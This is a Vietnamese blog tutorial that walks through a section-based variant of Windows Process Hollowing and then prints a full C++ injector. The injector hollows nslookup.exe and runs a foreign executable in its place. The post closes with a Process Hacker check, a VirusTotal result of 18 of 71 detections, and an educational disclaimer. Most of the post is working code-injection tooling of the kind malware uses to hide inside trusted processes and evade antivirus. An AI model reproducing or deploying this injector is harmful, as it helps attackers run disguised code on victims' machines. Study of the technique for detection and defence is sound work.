## Mở đầu Trong bài viết trước, mình đã giới thiệu chi tiết về cách triển khai kỹ thuật **Process Hollowing**, bạn đọc có thể đọc bài viết đó [tại đây](https://hackmd.io/@LeNhutHoang2112/Sk4ZLgGc6). Trong bài viết này, mình sẽ triển khai Process Hollowing theo một cách khác thông qua cơ chế section. Yah, bắt đầu thôi :smile:! ## Các bước thực hiện Dưới đây là các bước cụ thể để thực hiện kỹ thuật Process Hollowing thông qua cơ chế section: **1. Tạo mới process:** injector tiến hành tạo target process ở trạng thái tạm dừng bằng API **CreateProcess()** với cờ **CREATE_SUSPENDED**. ![image](https://hackmd.io/_uploads/rJqIuYblR.png) **2. Làm rỗng image:** injector sử dụng API **NtUnmapViewOfSection()** để làm rỗng image của target process. ![image](https://hackmd.io/_uploads/HkjqqYbl0.png) **3. Tạo và ánh xạ section object vào injector:** injector tạo mới section object bằng API **NtCreateSection()** và sau đó ánh xạ view của section này vào VAS (Virtual Address Space) bằng API **NtMapViewOfSection()**. ![image](https://hackmd.io/_uploads/BJgBaF-l0.png) **4. Ánh xạ section object vào target process:** injector tiến hành ánh xạ section object của nó vào target process tại vị trí đã làm rỗng ở bước 2. ![image](https://hackmd.io/_uploads/HkIuTY-xA.png) **5. Nạp image giả mạo vào target process:** injector tiến hành nạp các header, section và thực hiện quá trình relocation cho image giả mạo trong view của section đã ánh xạ. ![image](https://hackmd.io/_uploads/SyN5TK-gA.png) **6. Cập nhật context và tiếp tục quá trình khởi tạo:** injector lúc này sẽ cập nhật entry point, giá trị image base trong PEB nếu có và sau đó tiếp tục quá trình khởi tạo target process bằng API **ResumeThread()**. ![image](https://hackmd.io/_uploads/HyyShtZeR.png) ## Triển khai Việc đầu tiên ta cần làm là tạo mới target process bằng API **CreateProcess()** với cờ **CREATE_SUSPENDED**. Tiếp theo, ta truy vấn địa chỉ PEB của target process bằng API **NtQueryInformationProcess()** với mục đích để lấy được image base của target process. Khi đã có được image base, ta dùng API **NtUnmapViewOfSection()** để làm rỗng (unmapping) image của target process. ![image](https://hackmd.io/_uploads/SJiwr5-xC.png) Việc tiếp theo ta cần làm là nạp raw image bằng API **CreateFile()**, **VirtualAlloc()**, và **ReadFile()**. Sau đó cấp phát một vùng nhớ mới vào chính vị trí đã được làm rỗng bằng API **VirtualAllocEx()**, độ lớn của vùng nhớ này sẽ chính là image size của raw image. ![image](https://hackmd.io/_uploads/S1RYHqbxR.png) Sau khi đã chuẩn bị xong bộ nhớ cho raw image, ta tiến hành tính toán giá trị delta cho quá trình relocation sau này và đồng thời cập nhật giá trị image base cho header của raw image nếu không muốn lỗi xảy ra. Hơn nữa, ta cũng tạo mới một section object bằng API **NtCreateSection()** và sau đó ánh xạ nó vào VAS của injector bằng API **NtMapViewOfSection()**. Cuối cùng, ta nạp header của raw image vào trong view của section vừa được ánh xạ. ![image](https://hackmd.io/_uploads/Bkzor9-gA.png) Tiếp theo, ta nạp các section của raw image vào trong target process. Dựa vào thông tin của trường **NumberOfSection** trong cấu trúc **IMAGE_FILE_HEADER** để xác định số lượng section cần nạp và các section header để truy xuất RVA và size của các section. Sau khi tính toán xong các giá trị trên, ta chỉ cần nạp các section vào trong VAS của target process. ![image](https://hackmd.io/_uploads/SkYnr5bgA.png) Sau khi chèn xong các section, quá trình thực hiện relocation phải được thực hiện. Quá trình này là cực kỳ quan trọng vì image base của target process có thể khác image base của raw image. Nếu ta không thực hiện quá trình relocation một cách đúng đắn thì target process khi chạy có thể gây ra lỗi nghiêm trọng. Để biết những vị trí nào cần thực hiện relocation, ta cần truy xuất vào base relocation table, table này chứa các relocation block, mỗi relocation block chứa những thông tin về các vị trí cần được relocation trong một page (độ lớn 4KB). Một relocation block được biểu diễn bởi hai cấu trúc là **BASE_RELOCATION_BLOCK** và **BASE_RELOCATION_ENTRY**, trong đó đối tượng của cấu trúc BASE_RELOCATION_BLOCK nằm ở đầu relocation block và theo sau đó là bao gồm một hoặc nhiều đối tượng của cấu trúc BASE_RELOCATION_ENTRY (có thể hiểu là một page có thể có một hoặc nhiều vị trí cần phải relocation). Dễ thấy, cấu trúc BASE_RELOCATION_BLOCK chứa RVA của page mà ta cần relocation và độ lớn của relocation block, còn cấu trúc BASE_RELOCATION_ENTRY chứa offset tính từ đầu page tới vị trí cần relocation và loại relocation (những loại relocation khác nhau sẽ thực hiện quá trình relocation một cách khác nhau). Để thực hiện quá trình relocation thì đầu tiên ta kiểm tra độ chênh lệch giữa image base, độ chênh lệch này là delta. Nếu độ chênh lệch có giá trị khác 0 thì ta sẽ thực hiện quá trình relocation. Nếu quá trình relocation được diễn ra thì ta tiến hành duyệt qua các relocation block để tính toán RVA của những vị trí cần relocation, với mỗi vị trí như vậy ta cập nhật giá trị bằng cách cộng thêm delta. ![image](https://hackmd.io/_uploads/H1a6B5bgA.png) Việc cuối cùng ta cần làm là cập nhật lại giá trị entry point cho target process bằng chính giá trị entry point của raw image. Việc này được thực hiện thông qua API **GetThreadContext()** và **SetThreadContext()**. Lưu ý là **đối với chương trình x86 thì giá trị entry point sẽ được lưu trong thanh ghi EAX, còn x64 thì được lưu trong thanh ghi RCX**. Sau khi cập nhật xong, ta chỉ cần tiếp tục quá trình khởi tạo target process bằng API **ResumeThread()** là được. Target process lúc này sẽ thực hiện chức năng của raw image thay vì chức năng của image gốc của nó. ![image](https://hackmd.io/_uploads/rkfyIq-xC.png) Về phần raw image, chức năng cơ bản của nó chỉ là tạo mới một process notepad. ![image](https://hackmd.io/_uploads/ry6MYC010.png) Dưới đây là đoạn code đầy đủ được dùng để triển khai kỹ thuật Process Hollowing thông qua section mà mình vừa đề cập. ```cpp= #include<stdio.h> #include<Windows.h> #include<winternl.h> #include<winnt.h> #pragma comment(lib, "ntdll") #define CURRENT_PROCESS -1 #define BREAK_WITH_ERROR(m) {printf("[-] %s! Error 0x%x", m, GetLastError()); break;} #define BREAK_WITH_STATUS(m, s) {printf("[-] %s! Error 0x%x", m, s); break;} typedef struct _UNICODE_STR { USHORT Length; USHORT MaximumLength; PWSTR pBuffer; } UNICODE_STR, * PUNICODE_STR; typedef struct _PEB_FREE_BLOCK { struct _PEB_FREE_BLOCK* pNext; DWORD dwSize; } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; typedef struct __PEB { BYTE bInheritedAddressSpace; BYTE bReadImageFileExecOptions; BYTE bBeingDebugged; BYTE bSpareBool; LPVOID lpMutant; LPVOID lpImageBaseAddress; PPEB_LDR_DATA pLdr; LPVOID lpProcessParameters; LPVOID lpSubSystemData; LPVOID lpProcessHeap; PRTL_CRITICAL_SECTION pFastPebLock; LPVOID lpFastPebLockRoutine; LPVOID lpFastPebUnlockRoutine; DWORD dwEnvironmentUpdateCount; LPVOID lpKernelCallbackTable; DWORD dwSystemReserved; DWORD dwAtlThunkSListPtr32; PPEB_FREE_BLOCK pFreeList; DWORD dwTlsExpansionCounter; LPVOID lpTlsBitmap; DWORD dwTlsBitmapBits[2]; LPVOID lpReadOnlySharedMemoryBase; LPVOID lpReadOnlySharedMemoryHeap; LPVOID lpReadOnlyStaticServerData; LPVOID lpAnsiCodePageData; LPVOID lpOemCodePageData; LPVOID lpUnicodeCaseTableData; DWORD dwNumberOfProcessors; DWORD dwNtGlobalFlag; LARGE_INTEGER liCriticalSectionTimeout; DWORD dwHeapSegmentReserve; DWORD dwHeapSegmentCommit; DWORD dwHeapDeCommitTotalFreeThreshold; DWORD dwHeapDeCommitFreeBlockThreshold; DWORD dwNumberOfHeaps; DWORD dwMaximumNumberOfHeaps; LPVOID lpProcessHeaps; LPVOID lpGdiSharedHandleTable; LPVOID lpProcessStarterHelper; DWORD dwGdiDCAttributeList; LPVOID lpLoaderLock; DWORD dwOSMajorVersion; DWORD dwOSMinorVersion; WORD wOSBuildNumber; WORD wOSCSDVersion; DWORD dwOSPlatformId; DWORD dwImageSubsystem; DWORD dwImageSubsystemMajorVersion; DWORD dwImageSubsystemMinorVersion; DWORD dwImageProcessAffinityMask; DWORD dwGdiHandleBuffer[34]; LPVOID lpPostProcessInitRoutine; LPVOID lpTlsExpansionBitmap; DWORD dwTlsExpansionBitmapBits[32]; DWORD dwSessionId; ULARGE_INTEGER liAppCompatFlags; ULARGE_INTEGER liAppCompatFlagsUser; LPVOID lppShimData; LPVOID lpAppCompatInfo; UNICODE_STR usCSDVersion; LPVOID lpActivationContextData; LPVOID lpProcessAssemblyStorageMap; LPVOID lpSystemDefaultActivationContextData; LPVOID lpSystemAssemblyStorageMap; DWORD dwMinimumStackCommit; } _PEB, * _PPEB; typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT, * PSECTION_INHERIT; typedef NTSTATUS(NTAPI* pfnNtCreateSection)( OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL ); typedef NTSTATUS(NTAPI* pfnNtMapViewOfSection)( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress OPTIONAL, IN ULONG ZeroBits OPTIONAL, IN ULONG CommitSize, IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, IN OUT PULONG ViewSize, IN DWORD InheritDisposition, IN ULONG AllocationType OPTIONAL, IN ULONG Protect ); typedef NTSTATUS(NTAPI* pfnNtUnmapViewOfSection)( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); int main(int argc, const char* argv[]) { BOOL returnStatus = FALSE; NTSTATUS status = 0; HMODULE hNtdll = NULL; pfnNtCreateSection pNtCreateSection = NULL; pfnNtMapViewOfSection pNtMapViewOfSection = NULL; pfnNtUnmapViewOfSection pNtUnmapViewOfSection = NULL; pfnNtQueryInformationProcess pNtQueryInformationProcess = NULL; PROCESS_INFORMATION pi = { 0 }; STARTUPINFOW si = { sizeof(si) }; WCHAR targetPath[] = L"C:\\Windows\\System32\\nslookup.exe"; HANDLE hRawImage = NULL; UINT_PTR rawImage = NULL; WCHAR rawImagePath[] = L"C:\\Users\\Hii\\Desktop\\syaoren2.exe"; HANDLE hSection = NULL; do { if (!(hNtdll = GetModuleHandleW(L"ntdll"))) BREAK_WITH_ERROR("Failed to get ntdll module"); if (!(pNtCreateSection = GetProcAddress(hNtdll, "NtCreateSection"))) BREAK_WITH_ERROR("Failed to get NtCreateSection()"); if (!(pNtMapViewOfSection = GetProcAddress(hNtdll, "NtMapViewOfSection"))) BREAK_WITH_ERROR("Failed to get NtMapViewOfSection()"); if (!(pNtUnmapViewOfSection = GetProcAddress(hNtdll, "NtUnmapViewOfSection"))) BREAK_WITH_ERROR("Failed to get NtUnmapViewOfSection()") if (!(pNtQueryInformationProcess = GetProcAddress(hNtdll, "NtQueryInformationProcess"))) BREAK_WITH_ERROR("Failed to get NtQueryInformationProcess()"); // Create target process if (!CreateProcessW(targetPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) BREAK_WITH_ERROR("Failed to create target process"); // Get PEB information _PEB peb = { 0 }; PROCESS_BASIC_INFORMATION pbi = { 0 }; UINT_PTR pbiLength = sizeof(pbi); if(!NT_SUCCESS(status = pNtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, pbiLength, &pbiLength))) BREAK_WITH_STATUS("Failed to get information target process", status); if (!ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) BREAK_WITH_ERROR("Failed to read process memory"); // Unamp target image if(!NT_SUCCESS(status = pNtUnmapViewOfSection(pi.hProcess, peb.lpImageBaseAddress))) BREAK_WITH_STATUS("Failed to unmap target image", status); // Load raw image if((hRawImage = CreateFileW(rawImagePath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) BREAK_WITH_ERROR("Failed to open image"); DWORD rawImageSize = GetFileSize(hRawImage, 0); if (!(rawImage = VirtualAlloc(NULL, rawImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) BREAK_WITH_ERROR("Failed to allocate raw image memory"); if (!ReadFile(hRawImage, rawImage, rawImageSize, NULL, NULL)) BREAK_WITH_ERROR("Failed to read raw image"); // Fix image base and calculate denta PIMAGE_NT_HEADERS ntHeader = rawImage + ((PIMAGE_DOS_HEADER)rawImage)->e_lfanew; UINT_PTR imageSize = ntHeader->OptionalHeader.SizeOfImage; UINT_PTR denta = (UINT_PTR)peb.lpImageBaseAddress - ntHeader->OptionalHeader.ImageBase; ntHeader->OptionalHeader.ImageBase = peb.lpImageBaseAddress; // Create section SIZE_T sectionSize = imageSize; LARGE_INTEGER viewSize = { sectionSize }; if(!NT_SUCCESS(status = pNtCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, &viewSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL))) BREAK_WITH_STATUS("Failed to create section", status); // Map PE header UINT_PTR sectionView = NULL; if(!NT_SUCCESS(status = pNtMapViewOfSection(hSection, CURRENT_PROCESS, &sectionView, 0, 0, NULL, &sectionSize, ViewUnmap, NULL, PAGE_READWRITE))) BREAK_WITH_STATUS("Failed to map seciton view in current process", status); RtlCopyMemory(sectionView, rawImage, ntHeader->OptionalHeader.SizeOfHeaders); // Map section and locate relocation table CHAR sectionName[] = ".reloc"; UINT_PTR relocSize = 0; PBASE_RELOCATION_BLOCK relocBlock = NULL; PIMAGE_SECTION_HEADER sectionHeader = ((UINT_PTR)&ntHeader->OptionalHeader) + ntHeader->FileHeader.SizeOfOptionalHeader; for (UINT_PTR i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) { UINT_PTR sourceSection = rawImage + sectionHeader[i].PointerToRawData; UINT_PTR desSection = sectionView + sectionHeader[i].VirtualAddress; RtlCopyMemory(desSection, sourceSection, sectionHeader[i].SizeOfRawData); if (!memcmp(sectionHeader[i].Name, sectionName, sizeof(sectionName))) { relocBlock = sourceSection; relocSize = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; } } // Relocation UINT_PTR relocOffset = 0; while (relocOffset < relocSize) { PBASE_RELOCATION_ENTRY relocEntry = (UINT_PTR)relocBlock + sizeof(*relocBlock); UINT_PTR numEntry = (relocBlock->BlockSize - sizeof(*relocBlock)) / sizeof(*relocEntry); for (UINT_PTR i = 0; i < numEntry; i++) { if (IMAGE_REL_BASED_ABSOLUTE == relocEntry->Type) continue; UINT_PTR relocPos = sectionView + relocBlock->PageAddress + relocEntry[i].Offset; *((UINT_PTR*)relocPos) = *((UINT_PTR*)relocPos) + denta; } relocOffset += relocBlock->BlockSize; relocBlock = (UINT_PTR)relocBlock + relocBlock->BlockSize; } // Map section to target process UINT_PTR targetSectionView = peb.lpImageBaseAddress; status = pNtMapViewOfSection(hSection, pi.hProcess, &targetSectionView, 0, 0, NULL, &sectionSize, ViewUnmap, NULL, PAGE_EXECUTE_READWRITE); if (!NT_SUCCESS(status)) BREAK_WITH_ERROR("Failed to map section to target process"); // Fix entry point CONTEXT context = { CONTEXT_FULL }; if (!GetThreadContext(pi.hThread, &context)) BREAK_WITH_ERROR("Failed to get thread context"); context.Eax = (UINT_PTR)peb.lpImageBaseAddress + ntHeader->OptionalHeader.AddressOfEntryPoint; if (!SetThreadContext(pi.hThread, &context)) BREAK_WITH_ERROR("Failed to set thread context"); // Resume thread ResumeThread(pi.hThread); pNtUnmapViewOfSection(CURRENT_PROCESS, sectionView); returnStatus = TRUE; } while (0); if (INVALID_HANDLE_VALUE != hRawImage) CloseHandle(hRawImage); if (rawImage) VirtualFree(rawImage, 0, MEM_RELEASE); if (hSection) CloseHandle(hSection); if (pi.hThread) CloseHandle(pi.hThread); if (pi.dwThreadId) CloseHandle(pi.hProcess); return 0; } ``` ## Kết quả Sau khi chạy injector thì ta có thể thấy rằng có một process notepad.exe được tạo ra. ![image](https://hackmd.io/_uploads/SJIk0FWlA.png) Sử dụng công cụ Process Hacker để kiểm tra thì thấy rằng target process là **nslookup.exe** đã tạo ra một process **notepad.exe** đúng như mong đợi. ![image](https://hackmd.io/_uploads/B1gfCYWg0.png) Thử kiểm tra VAS của nslookup.exe thì ta thấy có một vùng nhớ có cả ba phân quyền là **RWX**, dễ thấy rằng nội dung của bộ nhớ này chính là image giả mạo mà ta đã chèn vào nslookup.exe. Vậy là ta đã thực hiện kỹ thuật này một cách thành công. ![image](https://hackmd.io/_uploads/BkB8Ct-xC.png) Theo report của virustotal, có 18/71 AV đã phát hiện injector của ta là malware. :smiling_face_with_smiling_eyes_and_hand_covering_mouth:. ![image](https://hackmd.io/_uploads/BJSNzDfgC.png) [https://www.virustotal.com/gui/file/7db8e9bb426d0f1d7abda8c3d7a10246d20933e68f23b8568b72da3baf4f985b?nocache=1](https://www.virustotal.com/gui/file/7db8e9bb426d0f1d7abda8c3d7a10246d20933e68f23b8568b72da3baf4f985b?nocache=1) ## Kết luận Trong bài viết này, mình đã đề cập đến một biến thể khác của kỹ thuật Process Hollowing khi được triển khai qua cơ chế section. Trong các bài viết tiếp theo, mình sẽ giới thiệu một biến thể khác nữa của kỹ thuật Process Hollowing khi được triển khai thông qua cơ chế file mapping. :::warning :zap: Lưu ý rằng, bài viết chỉ mang tính chất giáo dục và không khuyến khích việc sử dụng thông tin để thực hiện các hoạt động xấu hay bất hợp pháp. Nếu có thắc mắc hay ý kiến, đừng ngần ngại chia sẻ với mình để làm cho bài viết trở nên tốt hơn. ::: ## Tham khảo 1. https://github.com/m0n0ph1/Process-Hollowing 2. https://docs.google.com/viewerng/viewer?url=https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf